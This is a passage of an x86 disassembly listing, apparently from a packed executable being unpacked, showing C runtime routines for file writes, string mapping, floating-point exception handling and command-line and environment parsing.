loc_422857: ; CODE XREF: sub_4227C5+68j
; sub_4227C5+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_422865
mov eax, [ebp+var_8]
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422865: ; CODE XREF: sub_4227C5+96j
test byte ptr [edi+0Ch], 1
jz loc_422910
mov edx, [edi+4]
test edx, edx
jnz short loc_42287E
and [ebp+var_8], edx
jmp loc_422910
; ---------------------------------------------------------------------------
loc_42287E: ; CODE XREF: sub_4227C5+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DC5C0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_42290A
push 2
push 0
push [ebp+var_C]
call sub_42272B
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4228D1
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_4228BC: ; CODE XREF: sub_4227C5+104j
cmp eax, ecx
jnb short loc_4228CB
cmp byte ptr [eax], 0Ah
jnz short loc_4228C8
inc [ebp+arg_0]
loc_4228C8: ; CODE XREF: sub_4227C5+FEj
inc eax
jmp short loc_4228BC
; ---------------------------------------------------------------------------
loc_4228CB: ; CODE XREF: sub_4227C5+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_422905
; ---------------------------------------------------------------------------
loc_4228D1: ; CODE XREF: sub_4227C5+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_42272B
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4228F8
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4228F8
test ch, 4
jz short loc_4228FB
loc_4228F8: ; CODE XREF: sub_4227C5+124j
; sub_4227C5+12Cj
mov eax, [edi+18h]
loc_4228FB: ; CODE XREF: sub_4227C5+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_422905: ; CODE XREF: sub_4227C5+10Aj
jz short loc_42290A
inc [ebp+arg_0]
loc_42290A: ; CODE XREF: sub_4227C5+D9j
; sub_4227C5:loc_422905j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_422910: ; CODE XREF: sub_4227C5+A4j
; sub_4227C5+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_422918: ; CODE XREF: sub_4227C5+3Cj
; sub_4227C5+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4227C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p
; sub_41DB8B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DC6C0
push esi
push edi
jnb loc_422AB1
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DC5C0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_422AB1
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42296E
loc_422967: ; CODE XREF: sub_42291D+177j
xor eax, eax
jmp loc_422AC5
; ---------------------------------------------------------------------------
loc_42296E: ; CODE XREF: sub_42291D+48j
test al, 20h
jz short loc_42297E
push 2
push edi
push ecx
call sub_42272B
add esp, 0Ch
loc_42297E: ; CODE XREF: sub_42291D+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_422A4D
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_422A85
loc_42299E: ; CODE XREF: sub_42291D+F5j
lea eax, [ebp+var_414]
loc_4229A4: ; CODE XREF: sub_42291D+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4229D8
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4229C3
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4229C3: ; CODE XREF: sub_42291D+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_4229A4
loc_4229D8: ; CODE XREF: sub_42291D+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 26E0000h
nop
test eax, eax
jz short loc_422A42
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_422A14
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42299E
loc_422A14: ; CODE XREF: sub_42291D+EAj
; sub_42291D+12Ej
xor edi, edi
loc_422A16: ; CODE XREF: sub_42291D+150j
; sub_42291D+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_422AAC
cmp [ebp+arg_0], edi
jz short loc_422A85
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_422A7A
mov dword_4DB278, 9
mov dword_4DB27C, eax
jmp loc_422AC2
; ---------------------------------------------------------------------------
loc_422A42: ; CODE XREF: sub_42291D+E0j
nop
call near ptr 2670D70h
mov [ebp+arg_0], eax
jmp short loc_422A14
; ---------------------------------------------------------------------------
loc_422A4D: ; CODE XREF: sub_42291D+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
nop
call near ptr 26E0000h
test eax, eax
jz short loc_422A6F
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_422A16
; ---------------------------------------------------------------------------
loc_422A6F: ; CODE XREF: sub_42291D+145j
call near ptr 2670D70h
nop
mov [ebp+arg_0], eax
jmp short loc_422A16
; ---------------------------------------------------------------------------
loc_422A7A: ; CODE XREF: sub_42291D+10Fj
push [ebp+arg_0]
call sub_4203DF
pop ecx
jmp short loc_422AC2
; ---------------------------------------------------------------------------
loc_422A85: ; CODE XREF: sub_42291D+7Bj
; sub_42291D+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_422A9A
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_422967
loc_422A9A: ; CODE XREF: sub_42291D+16Fj
mov dword_4DB278, 1Ch
mov dword_4DB27C, edi
jmp short loc_422AC2
; ---------------------------------------------------------------------------
loc_422AAC: ; CODE XREF: sub_42291D+FEj
sub eax, [ebp+var_10]
jmp short loc_422AC5
; ---------------------------------------------------------------------------
loc_422AB1: ; CODE XREF: sub_42291D+15j
; sub_42291D+37j
and dword_4DB27C, 0
mov dword_4DB278, 9
loc_422AC2: ; CODE XREF: sub_42291D+120j
; sub_42291D+166j ...
or eax, 0FFFFFFFFh
loc_422AC5: ; CODE XREF: sub_42291D+4Cj
; sub_42291D+192j
pop edi
pop esi
pop ebx
leave
retn
sub_42291D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p
; sub_41D5AA+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427948
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DB34C, edi
jnz short loc_422B40
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427940
mov esi, 100h
push esi
push edi
call near ptr 2640000h
nop
test eax, eax
jz short loc_422B1E
mov dword_4DB34C, ebx
jmp short loc_422B40
; ---------------------------------------------------------------------------
loc_422B1E: ; CODE XREF: sub_422ACA+4Aj
push edi
push edi
push ebx
push offset dword_4CAE2C
push esi
push edi
call near ptr 2641092h
nop
test eax, eax
jz loc_422C58
mov dword_4DB34C, 2
loc_422B40: ; CODE XREF: sub_422ACA+2Ej
; sub_422ACA+52j
cmp [ebp+arg_C], edi
jle short loc_422B55
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426180
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_422B55: ; CODE XREF: sub_422ACA+79j
mov eax, dword_4DB34C
cmp eax, 2
jnz short loc_422B7C
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2641092h
jmp loc_422C5A
; ---------------------------------------------------------------------------
loc_422B7C: ; CODE XREF: sub_422ACA+93j
cmp eax, 1
jnz loc_422C58
cmp [ebp+arg_18], edi
jnz short loc_422B92
mov eax, dword_4DB344
mov [ebp+arg_18], eax
loc_422B92: ; CODE XREF: sub_422ACA+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
nop
call near ptr 2820000h
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_422C58
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422BED
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_422BED: ; CODE XREF: sub_422ACA+10Ej
cmp [ebp+var_24], edi
jz short loc_422C58
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call near ptr 2820000h
nop
test eax, eax
jz short loc_422C58
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_422C58
test byte ptr [ebp+arg_4+1], 4
jz short loc_422C6C
cmp [ebp+arg_14], edi
jz loc_422CE7
cmp esi, [ebp+arg_14]
jg short loc_422C58
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
test eax, eax
jnz loc_422CE7
loc_422C58: ; CODE XREF: sub_422ACA+66j
; sub_422ACA+B5j ...
xor eax, eax
loc_422C5A: ; CODE XREF: sub_422ACA+ADj
; sub_422ACA+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_422C6C: ; CODE XREF: sub_422ACA+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422CA0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_422CA0: ; CODE XREF: sub_422ACA+1C2j
cmp ebx, edi
jz short loc_422C58
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
test eax, eax
jz short loc_422C58
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_422CC7
push edi
push edi
jmp short loc_422CCD
; ---------------------------------------------------------------------------
loc_422CC7: ; CODE XREF: sub_422ACA+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_422CCD: ; CODE XREF: sub_422ACA+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call near ptr 2810000h
nop
mov esi, eax
cmp esi, edi
jz loc_422C58
loc_422CE7: ; CODE XREF: sub_422ACA+165j
; sub_422ACA+188j
mov eax, esi
jmp loc_422C5A
sub_422ACA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_422E2F
test eax, eax
pop ecx
jz loc_422E23
mov ebx, [eax+8]
test ebx, ebx
jz loc_422E23
cmp ebx, 5
jnz short loc_422D1F
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_422E2C
; ---------------------------------------------------------------------------
loc_422D1F: ; CODE XREF: ___:00422D11j
cmp ebx, 1
jz loc_422E1E
mov ecx, dword_4DB350
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_4DB350, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_422E0E
mov ecx, dword_43C940
mov edx, dword_43C944
add edx, ecx
push esi
cmp ecx, edx
jge short loc_422D6E
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43C8D0h[esi*4]
loc_422D65: ; CODE XREF: ___:00422D6Cj
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_422D65
loc_422D6E: ; CODE XREF: ___:00422D57j
mov eax, [eax]
mov esi, dword_43C94C
cmp eax, 0C000008Eh
jnz short loc_422D89
mov dword_43C94C, 83h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422D89: ; CODE XREF: ___:00422D7Bj
cmp eax, 0C0000090h
jnz short loc_422D9C
mov dword_43C94C, 81h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422D9C: ; CODE XREF: ___:00422D8Ej
cmp eax, 0C0000091h
jnz short loc_422DAF
mov dword_43C94C, 84h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DAF: ; CODE XREF: ___:00422DA1j
cmp eax, 0C0000093h
jnz short loc_422DC2
mov dword_43C94C, 85h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DC2: ; CODE XREF: ___:00422DB4j
cmp eax, 0C000008Dh
jnz short loc_422DD5
mov dword_43C94C, 82h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DD5: ; CODE XREF: ___:00422DC7j
cmp eax, 0C000008Fh
jnz short loc_422DE8
mov dword_43C94C, 86h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DE8: ; CODE XREF: ___:00422DDAj
cmp eax, 0C0000092h
jnz short loc_422DF9
mov dword_43C94C, 8Ah
loc_422DF9: ; CODE XREF: ___:00422D87j
; ___:00422D9Aj ...
push dword_43C94C
push 8
call ebx
pop ecx
mov dword_43C94C, esi
pop ecx
pop esi
jmp short loc_422E16
; ---------------------------------------------------------------------------
loc_422E0E: ; CODE XREF: ___:00422D40j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_422E16: ; CODE XREF: ___:00422E0Cj
mov eax, [ebp+8]
mov dword_4DB350, eax
loc_422E1E: ; CODE XREF: ___:00422D22j
or eax, 0FFFFFFFFh
jmp short loc_422E2C
; ---------------------------------------------------------------------------
loc_422E23: ; CODE XREF: ___:00422CFDj
; ___:00422D08j
push dword ptr [ebp+0Ch]
nop
call near ptr 2630150h
loc_422E2C: ; CODE XREF: ___:00422D1Aj
; ___:00422E21j
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_422E2F proc near ; CODE XREF: ___:00422CF5p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43C948
cmp dword_43C8C8, edx
push esi
mov eax, offset dword_43C8C8
jz short loc_422E5C
lea esi, [ecx+ecx*2]
lea esi, ds:43C8C8h[esi*4]
loc_422E51: ; CODE XREF: sub_422E2F+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_422E5C
cmp [eax], edx
jnz short loc_422E51
loc_422E5C: ; CODE XREF: sub_422E2F+16j
; sub_422E2F+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43C8C8h[ecx*4]
cmp eax, ecx
jnb short loc_422E6F
cmp [eax], edx
jz short locret_422E71
loc_422E6F: ; CODE XREF: sub_422E2F+3Aj
xor eax, eax
locret_422E71: ; CODE XREF: sub_422E2F+3Ej
retn
sub_422E2F endp
; ---------------------------------------------------------------------------
cmp dword_4DC914, 0
jnz short loc_422E80
call sub_42026D
loc_422E80: ; CODE XREF: ___:00422E79j
push esi
mov esi, dword_4DC90C
mov al, [esi]
cmp al, 22h
jnz short loc_422EB2
loc_422E8D: ; CODE XREF: ___:00422EA5j
; ___:00422EA8j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_422EAA
test al, al
jz short loc_422EAA
movzx eax, al
push eax
call sub_424D36
test eax, eax
pop ecx
jz short loc_422E8D
inc esi
jmp short loc_422E8D
; ---------------------------------------------------------------------------
loc_422EAA: ; CODE XREF: ___:00422E93j
; ___:00422E97j
cmp byte ptr [esi], 22h
jnz short loc_422EBC
loc_422EAF: ; CODE XREF: ___:00422EC4j
inc esi
jmp short loc_422EBC
; ---------------------------------------------------------------------------
loc_422EB2: ; CODE XREF: ___:00422E8Bj
cmp al, 20h
jbe short loc_422EBC
loc_422EB6: ; CODE XREF: ___:00422EBAj
inc esi
cmp byte ptr [esi], 20h
ja short loc_422EB6
loc_422EBC: ; CODE XREF: ___:00422EADj
; ___:00422EB0j ...
mov al, [esi]
test al, al
jz short loc_422EC6
cmp al, 20h
jbe short loc_422EAF
loc_422EC6: ; CODE XREF: ___:00422EC0j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_4DC914, ebx
push esi
push edi
jnz short loc_422EDC
call sub_42026D
loc_422EDC: ; CODE XREF: ___:00422ED5j
mov esi, dword_4DB2E8
xor edi, edi
loc_422EE4: ; CODE XREF: ___:00422EFAj
mov al, [esi]
cmp al, bl
jz short loc_422EFC
cmp al, 3Dh
jz short loc_422EEF
inc edi
loc_422EEF: ; CODE XREF: ___:00422EECj
push esi
call sub_41AFE0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_422EE4
; ---------------------------------------------------------------------------
loc_422EFC: ; CODE XREF: ___:00422EE8j
lea eax, ds:4[edi*4]
push eax
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DB2A0, esi
jnz short loc_422F1E
push 9
call sub_41DA29
pop ecx
loc_422F1E: ; CODE XREF: ___:00422F14j
mov edi, dword_4DB2E8
cmp [edi], bl
jz short loc_422F61
push ebp
loc_422F29: ; CODE XREF: ___:00422F5Ej
push edi
call sub_41AFE0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_422F5A
push ebp
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_422F4D
push 9
call sub_41DA29
pop ecx
loc_422F4D: ; CODE XREF: ___:00422F43j
push edi
push dword ptr [esi]
call sub_41BEB0
pop ecx
add esi, 4
pop ecx
loc_422F5A: ; CODE XREF: ___:00422F36j
add edi, ebp
cmp [edi], bl
jnz short loc_422F29
pop ebp
loc_422F61: ; CODE XREF: ___:00422F26j
push dword_4DB2E8
call sub_41B0B1
pop ecx
mov dword_4DB2E8, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DC910, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DC914, ebx
push esi
push edi
jnz short loc_422F9A
call sub_42026D
loc_422F9A: ; CODE XREF: ___:00422F93j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
nop
call near ptr 266039Ah
mov eax, dword_4DC90C
mov off_4DB2B0, esi
mov edi, esi
cmp [eax], bl
jz short loc_422FBF
mov edi, eax
loc_422FBF: ; CODE XREF: ___:00422FBBj
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_42301C
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_41B4D5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_422FEF
push 8
call sub_41DA29
pop ecx
loc_422FEF: ; CODE XREF: ___:00422FE5j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_42301C
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_4DB298, esi
pop edi
pop esi
mov dword_4DB294, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42301C proc near ; CODE XREF: ___:00422FCAp
; ___:00423000p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_423046
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423046: ; CODE XREF: sub_42301C+20j
cmp byte ptr [eax], 22h
jnz short loc_42308F
loc_42304B: ; CODE XREF: sub_42301C+58j
; sub_42301C+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_42307D
test dl, dl
jz short loc_42307D
movzx edx, dl
test byte_4DC7E1[edx], 4
jz short loc_423070
inc dword ptr [ecx]
test esi, esi
jz short loc_423070
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423070: ; CODE XREF: sub_42301C+46j
; sub_42301C+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_42304B
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_42304B
; ---------------------------------------------------------------------------
loc_42307D: ; CODE XREF: sub_42301C+36j
; sub_42301C+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423087
and byte ptr [esi], 0
inc esi
loc_423087: ; CODE XREF: sub_42301C+65j
cmp byte ptr [eax], 22h
jnz short loc_4230D2
inc eax
jmp short loc_4230D2
; ---------------------------------------------------------------------------
loc_42308F: ; CODE XREF: sub_42301C+2Dj
; sub_42301C+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_42309A
mov dl, [eax]
mov [esi], dl
inc esi
loc_42309A: ; CODE XREF: sub_42301C+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DC7E1[ebx], 4
jz short loc_4230B5
inc dword ptr [ecx]
test esi, esi
jz short loc_4230B4
mov bl, [eax]
mov [esi], bl
inc esi
loc_4230B4: ; CODE XREF: sub_42301C+91j
inc eax
loc_4230B5: ; CODE XREF: sub_42301C+8Bj
cmp dl, 20h
jz short loc_4230C3
test dl, dl
jz short loc_4230C7
cmp dl, 9
jnz short loc_42308F
loc_4230C3: ; CODE XREF: sub_42301C+9Cj
test dl, dl
jnz short loc_4230CA
loc_4230C7: ; CODE XREF: sub_42301C+A0j
dec eax
jmp short loc_4230D2
; ---------------------------------------------------------------------------
loc_4230CA: ; CODE XREF: sub_42301C+A9j
test esi, esi
jz short loc_4230D2
and byte ptr [esi-1], 0
loc_4230D2: ; CODE XREF: sub_42301C+6Ej
; sub_42301C+71j ...
and [ebp+arg_10], 0
loc_4230D6: ; CODE XREF: sub_42301C+19Ej
cmp byte ptr [eax], 0
jz loc_4231BF
loc_4230DF: ; CODE XREF: sub_42301C+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4230EB
cmp dl, 9
jnz short loc_4230EE
loc_4230EB: ; CODE XREF: sub_42301C+C8j
inc eax
jmp short loc_4230DF
; ---------------------------------------------------------------------------
loc_4230EE: ; CODE XREF: sub_42301C+CDj
cmp byte ptr [eax], 0
jz loc_4231BF
test edi, edi
jz short loc_423103
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423103: ; CODE XREF: sub_42301C+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423108: ; CODE XREF: sub_42301C+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_423111: ; CODE XREF: sub_42301C+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_42311A
inc eax
inc ebx
jmp short loc_423111
; ---------------------------------------------------------------------------
loc_42311A: ; CODE XREF: sub_42301C+F8j
cmp byte ptr [eax], 22h
jnz short loc_42314B
test bl, 1
jnz short loc_423149
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423138
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423138
mov eax, edx
jmp short loc_42313B
; ---------------------------------------------------------------------------
loc_423138: ; CODE XREF: sub_42301C+10Dj
; sub_42301C+116j
mov [ebp+arg_0], edi
loc_42313B: ; CODE XREF: sub_42301C+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423149: ; CODE XREF: sub_42301C+106j
shr ebx, 1
loc_42314B: ; CODE XREF: sub_42301C+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423160
inc ebx
loc_423153: ; CODE XREF: sub_42301C+142j
test esi, esi
jz short loc_42315B
mov byte ptr [esi], 5Ch
inc esi
loc_42315B: ; CODE XREF: sub_42301C+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_423153
loc_423160: ; CODE XREF: sub_42301C+134j
mov dl, [eax]
test dl, dl
jz short loc_4231B0
cmp [ebp+arg_10], 0
jnz short loc_423176
cmp dl, 20h
jz short loc_4231B0
cmp dl, 9
jz short loc_4231B0
loc_423176: ; CODE XREF: sub_42301C+14Ej
cmp [ebp+arg_0], 0
jz short loc_4231AA
test esi, esi
jz short loc_423199
movzx ebx, dl
test byte_4DC7E1[ebx], 4
jz short loc_423192
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_423192: ; CODE XREF: sub_42301C+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4231A8
; ---------------------------------------------------------------------------
loc_423199: ; CODE XREF: sub_42301C+162j
movzx edx, dl
test byte_4DC7E1[edx], 4
jz short loc_4231A8
inc eax
inc dword ptr [ecx]
loc_4231A8: ; CODE XREF: sub_42301C+17Bj
; sub_42301C+187j
inc dword ptr [ecx]
loc_4231AA: ; CODE XREF: sub_42301C+15Ej
inc eax
jmp loc_423108
; ---------------------------------------------------------------------------
loc_4231B0: ; CODE XREF: sub_42301C+148j
; sub_42301C+153j ...
test esi, esi
jz short loc_4231B8
and byte ptr [esi], 0
inc esi
loc_4231B8: ; CODE XREF: sub_42301C+196j
inc dword ptr [ecx]
jmp loc_4230D6
; ---------------------------------------------------------------------------
loc_4231BF: ; CODE XREF: sub_42301C+BDj
; sub_42301C+D5j
test edi, edi
jz short loc_4231C6
and dword ptr [edi], 0
loc_4231C6: ; CODE XREF: sub_42301C+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_42301C endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_4DB458
push ebx
push ebp
mov ebp, dword_42703C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_42321E
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_4231FF
mov dword_4DB458, 1
jmp short loc_423227
; ---------------------------------------------------------------------------
loc_4231FF: ; CODE XREF: ___:004231F1j
call near ptr 2620C2Ah
nop
mov edi, eax
cmp edi, ebx
jz loc_4232F9
mov dword_4DB458, 2
jmp loc_4232AD
; ---------------------------------------------------------------------------
loc_42321E: ; CODE XREF: ___:004231E9j
cmp eax, 1
jnz loc_4232A8
loc_423227: ; CODE XREF: ___:004231FDj
cmp esi, ebx
jnz short loc_423237
call ebp
mov esi, eax
cmp esi, ebx
jz loc_4232F9
loc_423237: ; CODE XREF: ___:00423229j
cmp [esi], bx
mov eax, esi
jz short loc_42324C
loc_42323E: ; CODE XREF: ___:00423243j
; ___:0042324Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_42323E
inc eax
inc eax
cmp [eax], bx
jnz short loc_42323E
loc_42324C: ; CODE XREF: ___:0042323Cj
sub eax, esi
mov edi, dword_42717C
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_42329D
push ebp
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_42329D
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_423299
push dword ptr [esp+10h]
call sub_41B0B1
pop ecx
mov [esp+10h], ebx
loc_423299: ; CODE XREF: ___:00423289j
mov ebx, [esp+10h]
loc_42329D: ; CODE XREF: ___:00423269j
; ___:00423278j
push esi
